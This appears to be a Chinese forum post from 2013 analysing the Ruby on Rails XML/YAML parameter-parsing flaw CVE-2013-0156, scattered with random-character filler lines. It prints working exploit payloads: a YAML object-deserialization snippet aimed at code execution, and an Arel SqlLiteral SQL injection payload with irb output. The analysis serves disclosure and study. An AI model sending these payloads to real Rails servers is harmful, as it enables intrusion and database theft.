Author: wofeiwo#80sec.com
% c( @! u) Y) `# B6 }
' F5 O6 J& T6 O* S9 G注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。 # L, v, y) E' P% j, S6 `6 Q2 o4 e3 |2 U, M
8 B0 t3 b, C6 g4 U
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. d) y a) ?' v
- l' o. q# m& r/ {. U( C
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. - J U& Z$ x& y, x9 J
7 S0 g5 J* }6 L( ?: Z! N
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
e5 |' v- B/ @" Y; z |+ T+ J+ i# K) w( ?' L
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: # L3 Z/ G! s, S6 O; r' o
0 O w9 M+ z' K% w) Y
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
4 k% S" a5 g; j9 A& @6 ?' V6 D0 e+ A K ]- b1 a( ^3 w& ]4 A
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? , ^0 G% s: g$ v" {/ b$ m
/ J' r& [! d( o, r然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。
y9 \: F3 Z8 o% x. H# B. ^
8 Q/ M. X: ^+ U) S. ~0 c) u但是等等，还有另一个参数类型，yaml。
& w( G; U1 U" ~/ z3 t& n, e# s2 l6 r' i- E* D5 t+ U, c8 C7 g
yaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。
5 A# U: u3 T5 N! I; O! J) l7 ?% F; `7 m1 L* l
<test type="yaml">--- !ruby/object:A8 B% q/ p. i7 n+ z2 P
aaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。 , o7 A0 F# S9 b" x v) Z
9 s+ |( ]4 T9 y4 @9 A如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。
" }. `9 T7 h- c3 e
7 }' Z t( y* `" J, G0 Y如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。 $ G8 \( b# f7 y9 Z4 T
; Q( ?3 M/ t s& d; d1 r; n一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式） 1 [; S6 N& o6 t: V2 _, n- N4 W
* M6 T$ z' U% R/ w( t( P8 v; p
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容： : f7 B; y0 l/ t+ r
8 D) l( x) E, m2 l o<id type=yaml>--- !str:Arel::Nodes::SqlLiteral, t! a: h# G1 O% s: j& b4 f7 e
1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。 2 _/ y3 O, G# ^& S ^, O" n) l) D! W
3 J$ x6 j7 {, o. f% qirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。
9 F+ y0 v0 @$ h' m( ^! W$ L' W
. Y# b5 k3 Y4 |, m# [9 M4 L V |
发表于 2013-1-11 21:16:27
收藏
支持
反对